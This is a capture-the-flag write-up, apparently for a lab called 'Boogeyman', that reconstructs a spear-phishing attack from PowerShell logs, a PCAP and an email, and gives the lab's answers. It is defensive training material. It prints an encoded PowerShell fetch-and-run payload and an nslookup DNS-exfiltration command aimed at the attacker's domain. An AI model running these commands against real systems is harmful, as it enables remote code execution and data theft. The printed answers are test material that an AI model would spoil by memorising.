This challenge simulates a spear-phishing attack against a finance employee. Our goal is to analyze the artefacts, reconstruct the attack chain, and assess the adversary’s impact using PowerShell logs, PCAP data, and a phishing email.
Julianne, a finance employee working for Quick Logistics LLC, received a follow-up email regarding an unpaid invoice from their business partner, B Packaging Inc. Unbeknownst to her, the attached document was malicious and compromised her workstation.
The security team was able to flag the suspicious execution of the attachment, in addition to the phishing reports received from the other finance department employees, making it seem to be a targeted attack on the finance team. Upon checking the latest trends, the initial TTP used for the malicious attachment is attributed to the new threat group named Boogeyman, known for targeting the logistics sector.
You are tasked to analyse and assess the impact of the compromise.
Spear-Phishing Leads to Data Exfiltration via DNS
Phishing, Credential Access, Exfiltration, C2
PowerShell Logs, PCAP Network Traffic, Email Artefact
KeePass DB and credit card data were exfiltrated using DNS queries after the execution of a malicious PowerShell payload delivered via phishing.
Spear-phishing email with malicious LNK inside a ZIP
.lnk executes encoded PowerShell that downloads remote script
Living-off-the-land via PowerShell and nslookup
Seatbelt.ps1 used for host and system enumeration
sq3.exe used to access Sticky Notes database
Retrieved KeePass DB and SQLite note data
Data exfiltrated via nslookup over DNS with hex encoding
C2 established via HTTP POST to attacker-controlled domain
Sensitive data (KeePass credentials, credit card number) successfully stolen
T1566.001
Phishing: Spear phishing Attachment
Malicious ZIP attachment with .lnk file
T1059.001
PowerShell
PowerShell payload executed from .lnk
T1082
System Information Discovery
Seatbelt.ps1
T1555
Credentials from Password Stores
Accessed KeePass DB (protected_data.kdbx)
T1005
Data from Local System
Extraction of plum.sqlite, protected_data.kdbx
T1048.003
Exfiltration Over Alternative Protocol: DNS
Used nslookup to exfiltrate encoded data
T1071.001
Application Layer Protocol: Web Protocols
C2 via HTTP POST to cdn.bpakcaging.xyz
Reference: [MITRE ATT&CK Navigator] ( https://attack.mitre.org/ )
This is an easy one, we can just open dump.eml in Thunderbird, or grep the sender from the file in the terminal
agriffin@bpakcaging.xyz
Again we can see it in thunderbird or we can grep “to:” from the file in the terminal.
Bash:
grep -i to: dump.eml
julianne.westcott@hotmail.com
In Thunderbird:
Or we can feed the email header to an analyzer and get all our information
(or we can keep work with terminal and grep our DKIM..)
elasticmail
Well, lets download the zip file from the email message and save it in our machine and open it.
note: .lnk files are often used to execute malicious payloads via disguised paths or embedded PowerShell commands
Invoice_20230103.lnk
We found it in email body.
Invoice2023!
lnkparse Invoice_20230103.lnk
aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AZgBpAGwAZQBzAC4AYgBwAGEAawBjAGEAZwBpAG4AZwAuAHgAeQB6AC8AdQBwAGQAYQB0AGUAJwApAA==
As suggested in the intro, I used jq to extract PowerShell commands and focused on the ScriptBlockText field to identify URLs contacted during the attack.
cat powershell.json | jq '{ScriptBlockText}' | sort | uniq
This revealed two attacker-controlled domains used for file hosting and C2 communication.
We can already see what is happened here (a whoami started, sb.exe and sq3.exe, downloadstring from github invoke-seatbelt.ps1, an enumeration tool, looking for folders until he found a file, then using nslook up to send out chunks of the file to an external ip address, but i guess that is what we are going to answer in the next questions!)
cdn.bpakcaging.xyz,files.bpakcaging.xyz
As anticipated before, the PowerShell logs shows a GitHub download of Seatbelt.ps1
note: usually github downloads started by Powershell are major red flags!
Seatbelt
HINT – trace back the executed cd command
By filtering for sq3.exe and checking for prior cd commands, I found that the attacker accessed a Sticky Notes SQLite database belonging to the user j.westcott
cat powershell.json | jq -s -c 'sort_by(.Timestamp) | .[] | {ScriptBlockText}' | grep 'sq3.exe'
we obtain the path AppData\\Local\\Packages\\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\\LocalState\\plum.sqlite
we need to know the username to complete the path
cat powershell.json | jq -s -c 'sort_by(.Timestamp) | .[]'| jq '{ScriptBlockText}'| grep 'cd'
and we find the the user is j.westcott
C:\Users\j.westcott\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite
The file path points to the local database used by Microsoft Sticky Notes.
Microsoft Sticky Notes
I found a ScriptBlockText line where the attacker listed a file in the victim’s Documents folder.
protected_data.kdbx
we can see this line
The PowerShell log shows data being split using a regex for 50-character hex chunks — indicating hex encoding.
hex
The exfiltration method used nslookup to send hex-encoded data as DNS queries to an attacker-controlled domain, as we can see in the same line.
note:
After the data is encoded, we’ll see another command which appears to be using _DNS_ to query the _A record_ of attacker-controlled infrastructure at the _$destination_ variable
This looks like it might be a living off the land exfiltration technique where targeted data is encoded, split to a character limit, and then exfiltrated though _DNS_ queries to the adversary’s infrastructure by appending the data (the _$line_ variable) to a domain name where it can be reassembled or interpreted by the adversary.
nslookup
HINT: Review the headers of the HTTP requests going to the server hosting malicious files used by the attacker.
we already know that the file server is files.bpakcaging.xyz, so I filtered for that host in Wireshark
WireShark Query:
http.host == files.bpakcaging.xyz
the row with the get /sq3.exe -> follow the HTTP stream
in the response section we find the software used to host the file
Python
HINT: Using the known bad domains, find the C2 traffic and follow the streams.
We actually saw at the beginning using jq, after the attacker split the document in chunks, he used POST method
Alternatively, using the hint, I filtered Wireshark traffic by the known C2 domain and followed the TCP stream.
The HTTP request showed the attacker used POST to send data.
WireShark Query:
PROCESS http.host contains "bpakcaging.xyz"
Then: Right-click → Follow → TCP Stream
In the packet with POST request we can see encoded strings, that in cyberchef shows its our documents
POST
Previously with jq we PowerShell logs revealed the use of nslookup with hex-encoded data sent as DNS A record queries to an attacker-controlled domain, a covert exfiltration method.
nslookup -q=A “$line.bpakcaging.xyz
DNS
HINT: The password is stored in the database file accessed by the attacker using the sq3.exe binary.
We already found that the attacker used sq3.exe to access “plum.sqlite”
In Wireshark, I filtered for HTTP containing our “plum.sqlite” and then followed the tpc stream
We can see a command “SELECT * from NOTE”, so I looked at the following packet (750) to see what happen next.
The response contained decimal-encoded characters, which I decoded in CyberChef using the From Decimal function to recover the password.
%p9^3!lL^Mz47E2GaT^y
hint: Retrieve the exfiltrated file first using Tshark and focus on the query type used shown in the PowerShell logs.
As suggested, I used tshark to analyze the DNS exfiltration traffic from the PCAP file.
The attacker used nslookup (-q=A) to split hex-encoded data into subdomain queries sent to bpakcaging.xyz.
We also know the destination ip address: 167.71.1.211.113
So lets use Tshark as suggested
To extract the data, I ran the following command (after a bit of cleaning I obtained this one, I spare you the long process):
tshark -r capture.pcapng -Y 'dns' -T fields -e dns.qry.name | grep ".bpakcaging.xyz" | cut -f1 -d '.' | grep -v -e "files" -e "cdn" | uniq | tr -d '\n' > card.txt
Explanation of command:
from here just convert the card.txt in a dkbx file using xxd
xxd -r -p card.txt > card kdbx
Using the previously discovered password, I unlocked the file and found the stored credit card number.
4024007128269551
Well, turns out clicking on shady ZIPs from fake business partners still isn’t a great idea.
Who knew? From a seemingly harmless .lnk file, the attacker went full Boogeyman -> launching PowerShell voodoo, poking around the system with Seatbelt, dumping Sticky Notes like it’s 2009, and exfiltrating a KeePass database one DNS query at a time.
Honestly, impressive commitment to living off the land.
Apparently we have to tell you this: yes, cookies are used. They're not edible, and no, you can't escape them — but you can pick what gets tracked. Yay for EU law!